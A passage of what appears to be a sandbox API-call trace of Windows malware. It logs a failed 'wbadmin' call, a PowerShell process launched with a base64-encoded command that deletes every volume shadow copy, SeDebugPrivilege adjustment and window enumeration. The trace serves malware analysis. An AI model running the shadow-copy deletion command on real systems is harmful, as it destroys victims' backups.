MemoryPointer=0x694e80) returned 0x122 [0136.389] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0136.389] GetProcessHeap () returned 0x680000 [0136.389] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x694fb0 [0136.389] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694fb0, Size=0x76) returned 0x694fb0 [0136.389] GetProcessHeap () returned 0x680000 [0136.389] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x694fb0) returned 0x76 [0136.390] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.390] GetLastError () returned 0x2 [0136.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.390] GetLastError () returned 0x2 [0136.390] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.391] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.391] GetLastError () returned 0x2 [0136.391] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.391] GetLastError () returned 0x2 [0136.391] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.391] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.392] GetLastError () returned 0x2 [0136.392] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.392] GetLastError () returned 0x2 [0136.392] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.392] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.393] GetLastError () returned 0x2 [0136.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.393] GetLastError () returned 0x2 [0136.393] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.393] GetLastError () returned 0x2 [0136.394] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.394] GetLastError () returned 0x2 [0136.394] _get_osfhandle (_FileHandle=2) returned 0xb [0136.394] GetFileType (hFile=0xb) returned 0x2 [0136.394] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0136.394] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x33ee28 | out: lpMode=0x33ee28) returned 1 [0136.395] _get_osfhandle (_FileHandle=2) returned 0xb [0136.395] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x33ee5c | out: lpConsoleScreenBufferInfo=0x33ee5c) returned 1 [0136.395] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0136.398] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x33ee9c | out: lpBuffer="'wbadmin' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0136.398] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a894640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x33ee80, lpReserved=0x0 | out: lpBuffer=0x4a894640*, lpNumberOfCharsWritten=0x33ee80*=0x62) returned 1 [0136.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.399] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0136.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.400] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8841ac | out: lpMode=0x4a8841ac) returned 1 [0136.400] _get_osfhandle (_FileHandle=0) returned 0x3 [0136.400] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8841b0 | out: lpMode=0x4a8841b0) returned 1 [0136.401] SetConsoleInputExeNameW () returned 0x1 [0136.401] GetConsoleOutputCP () returned 0x1b5 [0136.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0136.401] SetThreadUILanguage (LangId=0x0) returned 0x409 [0136.402] exit (_Code=1) Process: id = "4" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x1b8d1000" os_pid = "0x244" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa34" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x7a0 [0131.409] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0136.593] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0136.593] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0136.593] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0136.593] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0138.980] GetVersionExW (in: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0138.980] GetLastError () returned 0x2 [0138.982] GetVersionExW (in: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0138.983] GetLastError () returned 0x2 [0139.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be64c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.013] GetLastError () returned 0x2 [0139.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be668, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.064] GetLastError () returned 0x2 [0139.064] GetVersionExW (in: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0139.064] GetLastError () returned 0x2 [0139.067] SetErrorMode (uMode=0x1) returned 0x1 [0139.071] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2beae8 | out: lpFileInformation=0x2beae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0139.071] GetLastError () returned 0x2 [0139.071] SetErrorMode (uMode=0x1) returned 0x1 [0139.094] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2beb6c | out: lpdwHandle=0x2beb6c) returned 0x94c [0139.102] GetLastError () returned 0x0 [0139.105] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2cb4e6c | out: lpData=0x2cb4e6c) returned 1 [0139.115] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2beb38, puLen=0x2beb34 | out: lplpBuffer=0x2beb38*=0x2cb4f08, puLen=0x2beb34) returned 1 [0139.121] lstrlenW (lpString="䅁") returned 1 [0139.151] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb4fe4, puLen=0x2beab0) returned 1 [0139.152] lstrlenW (lpString="Microsoft Corporation") returned 21 [0139.156] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0139.156] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb5038, puLen=0x2beab0) returned 1 [0139.156] lstrlenW (lpString="System.Management.Automation") returned 28 [0139.156] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0139.157] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb5094, puLen=0x2beab0) returned 1 [0139.157] lstrlenW (lpString="6.1.7601.17514") returned 14 [0139.157] lstrcpyW (in: lpString1=0x67b350, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0139.157] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb50d4, puLen=0x2beab0) returned 1 [0139.157] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0139.157] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0139.157] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb513c, puLen=0x2beab0) returned 1 [0139.157] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0139.157] lstrcpyW (in: lpString1=0x67b350, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0139.158] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb51d8, puLen=0x2beab0) returned 1 [0139.158] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0139.158] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0139.158] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb523c, puLen=0x2beab0) returned 1 [0139.158] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0139.158] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0139.158] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb52b8, puLen=0x2beab0) returned 1 [0139.158] lstrlenW (lpString="6.1.7601.17514") returned 14 [0139.159] lstrcpyW (in: lpString1=0x67b350, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0139.160] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x2cb4f60, puLen=0x2beab0) returned 1 [0139.160] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0139.160] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0139.160] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x0, puLen=0x2beab0) returned 0 [0139.160] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x0, puLen=0x2beab0) returned 0 [0139.160] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2beab4, puLen=0x2beab0 | out: lplpBuffer=0x2beab4*=0x0, puLen=0x2beab0) returned 0 [0139.160] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2beaa8, puLen=0x2beaa4 | out: lplpBuffer=0x2beaa8*=0x2cb4f08, puLen=0x2beaa4) returned 1 [0139.164] VerLanguageNameW (in: wLang=0x0, szLang=0x67b350, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0139.166] VerQueryValueW (in: pBlock=0x2cb4e6c, lpSubBlock="\\", lplpBuffer=0x2beabc, puLen=0x2beab8 | out: lplpBuffer=0x2beabc*=0x2cb4e94, puLen=0x2beab8) returned 1 [0139.185] GetCurrentProcessId () returned 0x244 [0139.233] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2be2f4 | out: lpLuid=0x2be2f4*(LowPart=0x14, HighPart=0)) returned 1 [0139.237] GetLastError () returned 0x0 [0139.241] GetCurrentProcess () returned 0xffffffff [0139.241] GetLastError () returned 0x0 [0139.245] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x2be2f0 | out: TokenHandle=0x2be2f0*=0x2fc) returned 1 [0139.245] GetLastError () returned 0x0 [0139.252] AdjustTokenPrivileges (in: TokenHandle=0x2fc, DisableAllPrivileges=0, NewState=0x2cb79ac*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0139.253] GetLastError () returned 0x0 [0139.256] CloseHandle (hObject=0x2fc) returned 1 [0139.256] GetLastError () returned 0x0 [0139.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x2fc [0139.271] GetLastError () returned 0x0 [0139.294] EnumProcessModules (in: hProcess=0x2fc, lphModule=0x2cb79f0, cb=0x100, lpcbNeeded=0x2beae4 | out: lphModule=0x2cb79f0, lpcbNeeded=0x2beae4) returned 1 [0139.296] GetLastError () returned 0x0 [0139.303] GetModuleInformation (in: hProcess=0x2fc, hModule=0x225c0000, lpmodinfo=0x2cb7b30, cb=0xc | out: lpmodinfo=0x2cb7b30*(lpBaseOfDll=0x225c0000, SizeOfImage=0x72000, EntryPoint=0x225c7363)) returned 1 [0139.303] GetLastError () returned 0x0 [0139.309] GetModuleBaseNameW (in: hProcess=0x2fc, hModule=0x225c0000, lpBaseName=0x6b5fb0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0139.309] GetLastError () returned 0x0 [0139.311] GetModuleFileNameExW (in: hProcess=0x2fc, hModule=0x225c0000, lpFilename=0x6b5fb0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0139.312] GetLastError () returned 0x0 [0139.314] CloseHandle (hObject=0x2fc) returned 1 [0139.314] GetLastError () returned 0x0 [0139.319] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x244) returned 0x2fc [0139.319] GetLastError () returned 0x0 [0139.323] GetExitCodeProcess (in: hProcess=0x2fc, lpExitCode=0x2cb6fe0 | out: lpExitCode=0x2cb6fe0*=0x103) returned 1 [0139.323] GetLastError () returned 0x0 [0139.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3cb5278, Length=0x20000, ResultLength=0x2beb2c | out: SystemInformation=0x3cb5278, ResultLength=0x2beb2c*=0xd700) returned 0x0 [0139.388] EnumWindows (lpEnumFunc=0x2a83612, lParam=0x0) returned 1 [0139.395] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x538 [0139.395] GetLastError () returned 0x0 [0139.396] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.396] GetLastError () returned 0x0 [0139.396] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.396] GetLastError () returned 0x0 [0139.396] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.396] GetLastError () returned 0x0 [0139.397] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x514 [0139.397] GetLastError () returned 0x0 [0139.397] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.397] GetLastError () returned 0x0 [0139.398] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x778 [0139.398] GetLastError () returned 0x0 [0139.398] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x778 [0139.398] GetLastError () returned 0x0 [0139.398] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.398] GetLastError () returned 0x0 [0139.399] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.399] GetLastError () returned 0x0 [0139.399] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.399] GetLastError () returned 0x0 [0139.399] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.399] GetLastError () returned 0x0 [0139.400] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.400] GetLastError () returned 0x0 [0139.400] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.400] GetLastError () returned 0x0 [0139.400] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.400] GetLastError () returned 0x0 [0139.401] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.401] GetLastError () returned 0x0 [0139.401] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.401] GetLastError () returned 0x0 [0139.401] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.402] GetLastError () returned 0x0 [0139.402] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.402] GetLastError () returned 0x0 [0139.402] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.402] GetLastError () returned 0x0 [0139.402] GetWindowThreadProcessId (in: hWnd=0x60114, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7a0 [0139.403] GetLastError () returned 0x0 [0139.406] GetWindow (hWnd=0x60114, uCmd=0x4) returned 0x0 [0139.412] IsWindowVisible (hWnd=0x60114) returned 0 [0139.412] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9e0 [0139.413] GetLastError () returned 0x0 [0139.413] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.413] GetLastError () returned 0x0 [0139.413] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.413] GetLastError () returned 0x0 [0139.413] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.414] GetLastError () returned 0x0 [0139.414] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.414] GetLastError () returned 0x0 [0139.414] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.414] GetLastError () returned 0x0 [0139.415] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.415] GetLastError () returned 0x0 [0139.415] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.415] GetLastError () returned 0x0 [0139.415] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.415] GetLastError () returned 0x0 [0139.416] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9d0 [0139.416] GetLastError () returned 0x0 [0139.416] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9c0 [0139.416] GetLastError () returned 0x0 [0139.416] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9b0 [0139.417] GetLastError () returned 0x0 [0139.417] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9a0 [0139.417] GetLastError () returned 0x0 [0139.417] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x990 [0139.417] GetLastError () returned 0x0 [0139.417] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x980 [0139.418] GetLastError () returned 0x0 [0139.418] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x970 [0139.418] GetLastError () returned 0x0 [0139.418] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x960 [0139.418] GetLastError () returned 0x0 [0139.419] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x950 [0139.419] GetLastError () returned 0x0 [0139.419] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x940 [0139.419] GetLastError () returned 0x0 [0139.419] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x930 [0139.419] GetLastError () returned 0x0 [0139.420] GetWindowThreadProcessId 